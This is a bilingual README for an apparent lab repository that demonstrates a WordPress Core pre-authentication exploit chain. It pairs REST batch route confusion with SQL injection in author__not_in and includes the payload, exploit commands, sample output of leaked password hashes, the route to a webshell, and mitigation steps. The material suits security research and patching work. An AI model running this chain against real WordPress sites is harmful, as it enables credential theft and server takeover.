CVE-2026-63030: wp2shell — WordPress Core pre-auth REST route confusion → SQLiCVE-2026-63030: wp2shell — confusão de rota REST pré-auth no WordPress Core → SQLi
A dockerized lab for wp2shell: a REST batch route-confusion bug in WordPress Core 7.0.1 chained with an author__not_in SQL injection to leak user password hashes with zero credentials, driven by a dependency-free Python exploit.Um lab dockerizado do wp2shell: uma confusão de rota no batch da REST API do WordPress Core 7.0.1 encadeada com uma SQL injection em author__not_in para vazar hashes de senha sem nenhuma credencial, conduzida por um exploit em Python sem dependências.
Proof of concept on GitHubProva de conceito no GitHubAuthorization: this is a deliberately vulnerable, self-contained Docker lab built for education and security research. Run it locally and isolated only — never expose it to the internet, and only point the exploit at this lab or systems you are explicitly authorized to test. Misuse can be a crime.
Summary
wp2shell is a pre-authentication remote code execution chain in WordPress Core, fixed in 6.9.5 and 7.0.2. It stitches together two bugs:
| CVE | Component | Bug |
|---|---|---|
| CVE-2026-63030 | REST API /wp-json/batch/v1 | Route confusion: a desync between validation and dispatch of batched sub-requests |
| CVE-2026-60137 | WP_Query (author__not_in) | SQL injection when the value arrives as a string instead of an array |
Chained, they let an attacker with no credentials run arbitrary SQL — and, in the full advisory sequence, reach RCE. Versions affected by the RCE chain: 6.9.0–6.9.4 and 7.0.0–7.0.1.
This repository is a full victim lab (WordPress Core 7.0.1 + MySQL on Docker)
plus a Python exploit that demonstrates the pre-auth core of the chain: route
confusion → blind SQLi → password-hash extraction.
Impact
- Unauthenticated. No login, no API key — a plain HTTP client is enough.
- Arbitrary SQL read against the WordPress database via a boolean/time oracle.
- Credential disclosure:
wp_userslogin names and$wp$2y$...bcrypt hashes are extracted char-by-char, which crack offline into working admin passwords. - Path to RCE: with an admin password recovered, log into
/wp-admin, upload a malicious plugin (or edit a theme), and land a webshell.
How the chain works
1. The batch desync (serve_batch_request_v1)
In wp-includes/rest-api/class-wp-rest-server.php, the batch handler walks two
parallel arrays — $matches (matched route/handler) and $validation (the
validation result). A sub-request that fails to parse is pushed into
$validation but skips $matches:
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) { // e.g. path "///" -> wp_parse_url() === false
$validation[] = $single_request; // enters $validation ONLY
continue; // $matches gets NO entry => desync
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
$validation[] = $error ? $error : true;
}At dispatch time the handler is read from $matches[$i], while the request body
still follows the full index of $requests. A primer sub-request that fails
to parse ("///") shifts everything in $matches by one slot — so one
sub-request is executed under another's handler.
2. Smuggling GET sub-requests (nested batch)
The batch schema only accepts POST/PUT/PATCH/DELETE (GET is rejected with
rest_not_in_enum). The exploit sidesteps this with a batch inside a batch:
[ primer("///"),
carrier = POST /wp/v2/posts (body = INNER BATCH),
POST /batch/v1 ]The carrier validates as a posts create_item (it passes: allow_batch=true,
no required params). Because it is not validated as a batch, its body escapes
the method-enum check. The outer desync then dispatches the carrier under the
/batch/v1 handler stolen from the third sub-request, so
serve_batch_request_v1 processes its raw body — this time carrying GET
sub-requests.
3. Reaching the SQL sink
[ primer("///"),
GET /wp/v2/users?author_exclude=<PAYLOAD>, <-- users has no author_exclude => raw value
GET /wp/v2/posts ]A second, inner desync runs GET /wp/v2/users (carrying the unsanitized
author_exclude) under posts get_items(), which maps author_exclude → author__not_in. In WP_Query, the vulnerable branch only sanitizes arrays:
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // a string SKIPS sanitization
$query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );
sort( ... );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // injection
}The boolean payload 0) AND (<condition>)-- - turns the WHERE into an oracle
(rows returned = true; empty = false), and data is extracted char-by-char via
binary search.
Proof of concept
The exploit uses only the Python 3 standard library — no dependencies.
outer desync ──▶ smuggle a nested batch under /batch/v1
inner desync ──▶ run GET /wp/v2/users under posts get_items()
author_exclude ─▶ raw string into author__not_in => SQLi oracle
binary search ──▶ leak wp_users logins + $wp$2y$ hashes, no authRun it
Prerequisites: Docker, Docker Compose, and Python 3.
1. Bring up the vulnerable environment:
docker compose up -d db wordpress # MySQL + WordPress 7.0.1
docker compose run --rm wpcli # installs WP, seeds users/contentThis provisions a site at http://localhost:8080, an admin and a second
victim admin (the hash-extraction target), and one published post (needed for
get_items() to return rows). Confirm the vulnerable version:
docker exec wp2shell-cli wp core version # 7.0.12. Fire the exploit:
python3 exploit.py --url http://localhost:8080Expected output (trimmed):
[+] Route confusion OK: GET /wp/v2/users executed under posts get_items()
[+] Blind SQL injection confirmed (boolean oracle 1=1 vs 1=2)
[+] Credentials extracted (pre-auth, no login):
ID=1 login=admin
hash=$wp$2y$10$tjd0.l/QQOhp9eQpwrufMuYVrjv4kVoJMfmA3f2ZZew51rND7o94q
ID=2 login=victim
hash=$wp$2y$10$3Nv1oxyfIe/yKqNd/AUZSOZqQYWiJHfNAKBPdbjMhqTtVBDbuBO0eOther modes:
python3 exploit.py --url http://localhost:8080 --sql "SELECT @@version" # arbitrary SQL
python3 exploit.py --url http://localhost:8080 --mode time # blind time-based
python3 exploit.py --url http://localhost:8080 -v # show each query3. Verify the leaked data is real — compare against the database the exploit never touched:
docker exec wp2shell-db mysql -uroot -prootpass -N \
-e "SELECT ID,user_login,user_pass FROM wordpress.wp_users;"The hashes should be identical to those the exploit extracted over HTTP.
Mitigation
Update WordPress Core to 6.9.5 / 7.0.2 or later. The patch forces
author__not_in to integers (wp_parse_id_list) even when it arrives as a
string, and ensures batch errors occupy a slot in both arrays — closing the
desync. Compensating controls: a WAF filtering /wp-json/batch/v1, disabling the
unauthenticated REST API, and alerting on author_exclude values containing SQL.
References
Autorização: este é um lab Docker autocontido e propositalmente vulnerável, feito para fins educacionais e pesquisa de segurança. Rode somente local e isolado — nunca exponha na internet, e aponte o exploit apenas para este lab ou para sistemas que você está explicitamente autorizado a testar. Uso indevido pode ser crime.
Resumo
O wp2shell é uma cadeia de execução remota de código pré-autenticação no WordPress Core, corrigida na 6.9.5 e na 7.0.2. Ela costura dois bugs:
| CVE | Componente | Falha |
|---|---|---|
| CVE-2026-63030 | REST API /wp-json/batch/v1 | Confusão de rota: um dessincronismo entre a validação e o dispatch das sub-requisições em lote |
| CVE-2026-60137 | WP_Query (author__not_in) | SQL injection quando o valor chega como string em vez de array |
Encadeadas, permitem que um atacante sem credenciais rode SQL arbitrário — e, na sequência completa do advisory, chegue a RCE. Versões afetadas pela cadeia de RCE: 6.9.0–6.9.4 e 7.0.0–7.0.1.
Este repositório é um lab completo de vítima (WordPress Core 7.0.1 + MySQL no
Docker) mais um exploit em Python que demonstra o núcleo pré-auth da cadeia:
confusão de rota → SQLi cega → extração de hashes de senha.
Impacto
- Sem autenticação. Sem login, sem API key — um cliente HTTP comum basta.
- Leitura arbitrária de SQL contra o banco do WordPress via um oráculo booleano/temporal.
- Vazamento de credenciais: nomes de login e hashes bcrypt
$wp$2y$...dawp_userssão extraídos caractere a caractere, e quebram offline em senhas de administrador funcionais. - Caminho para RCE: com uma senha de admin recuperada, basta entrar no
/wp-admin, subir um plugin malicioso (ou editar um tema) e obter uma webshell.
Como a cadeia funciona
1. O dessincronismo do batch (serve_batch_request_v1)
Em wp-includes/rest-api/class-wp-rest-server.php, o handler de batch percorre
dois arrays paralelos — $matches (rota/handler correspondente) e $validation
(o resultado da validação). Uma sub-requisição que falha ao ser interpretada é
empurrada para $validation mas pula o $matches:
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) { // ex.: path "///" -> wp_parse_url() === false
$validation[] = $single_request; // entra SOMENTE em $validation
continue; // $matches NÃO recebe entrada => dessincronismo
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
$validation[] = $error ? $error : true;
}No momento do dispatch o handler é lido de $matches[$i], enquanto o corpo da
requisição ainda segue o índice completo de $requests. Uma sub-requisição
primer que falha ao ser interpretada ("///") desloca tudo em $matches em
uma posição — então uma sub-requisição é executada sob o handler de outra.
2. Contrabandeando sub-requisições GET (batch aninhado)
O schema do batch só aceita POST/PUT/PATCH/DELETE (GET é rejeitado com
rest_not_in_enum). O exploit contorna isso com um batch dentro de um batch:
[ primer("///"),
carrier = POST /wp/v2/posts (corpo = BATCH INTERNO),
POST /batch/v1 ]O carrier valida como um create_item de posts (ele passa: allow_batch=true,
sem parâmetros obrigatórios). Como ele não é validado como batch, o corpo dele
escapa da checagem do enum de métodos. O dessincronismo externo então despacha o
carrier sob o handler /batch/v1 roubado da terceira sub-requisição, de
modo que serve_batch_request_v1 processa o corpo bruto dele — desta vez
carregando sub-requisições GET.
3. Alcançando o sink de SQL
[ primer("///"),
GET /wp/v2/users?author_exclude=<PAYLOAD>, <-- users não tem author_exclude => valor bruto
GET /wp/v2/posts ]Um segundo dessincronismo, interno, roda GET /wp/v2/users (carregando o
author_exclude não sanitizado) sob o get_items() de posts, que mapeia
author_exclude → author__not_in. No WP_Query, o ramo vulnerável só sanitiza
arrays:
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // uma string PULA a sanitização
$query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );
sort( ... );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // injeção
}O payload booleano 0) AND (<condição>)-- - transforma o WHERE em um oráculo
(linhas retornadas = verdadeiro; vazio = falso), e os dados são extraídos
caractere a caractere por busca binária.
Prova de conceito
O exploit usa apenas a biblioteca padrão do Python 3 — sem dependências.
dessinc. externo ─▶ contrabandeia um batch aninhado sob /batch/v1
dessinc. interno ─▶ roda GET /wp/v2/users sob o get_items() de posts
author_exclude ─▶ string bruta em author__not_in => oráculo de SQLi
busca binária ─▶ vaza logins e hashes $wp$2y$ da wp_users, sem authRodando o lab
Pré-requisitos: Docker, Docker Compose e Python 3.
1. Suba o ambiente vulnerável:
docker compose up -d db wordpress # MySQL + WordPress 7.0.1
docker compose run --rm wpcli # instala o WP, popula usuários/conteúdoIsso provisiona um site em http://localhost:8080, um admin e um segundo admin
victim (o alvo da extração de hash), e um post publicado (necessário para o
get_items() retornar linhas). Confirme a versão vulnerável:
docker exec wp2shell-cli wp core version # 7.0.12. Dispare o exploit:
python3 exploit.py --url http://localhost:8080Saída esperada (resumida):
[+] Route confusion OK: GET /wp/v2/users executed under posts get_items()
[+] Blind SQL injection confirmed (boolean oracle 1=1 vs 1=2)
[+] Credentials extracted (pre-auth, no login):
ID=1 login=admin
hash=$wp$2y$10$tjd0.l/QQOhp9eQpwrufMuYVrjv4kVoJMfmA3f2ZZew51rND7o94q
ID=2 login=victim
hash=$wp$2y$10$3Nv1oxyfIe/yKqNd/AUZSOZqQYWiJHfNAKBPdbjMhqTtVBDbuBO0eOutros modos:
python3 exploit.py --url http://localhost:8080 --sql "SELECT @@version" # SQL arbitrário
python3 exploit.py --url http://localhost:8080 --mode time # cego baseado em tempo
python3 exploit.py --url http://localhost:8080 -v # mostra cada query3. Verifique que os dados vazados são reais — compare com o banco que o exploit nunca tocou:
docker exec wp2shell-db mysql -uroot -prootpass -N \
-e "SELECT ID,user_login,user_pass FROM wordpress.wp_users;"Os hashes devem ser idênticos aos que o exploit extraiu por HTTP.
Mitigação
Atualize o WordPress Core para a 6.9.5 / 7.0.2 ou superior. O patch força
author__not_in a inteiros (wp_parse_id_list) mesmo quando chega como string,
e garante que erros de batch ocupem uma posição em ambos os arrays — fechando
o dessincronismo. Controles compensatórios: um WAF filtrando
/wp-json/batch/v1, desabilitar a REST API não autenticada, e alertar sobre
valores de author_exclude contendo SQL.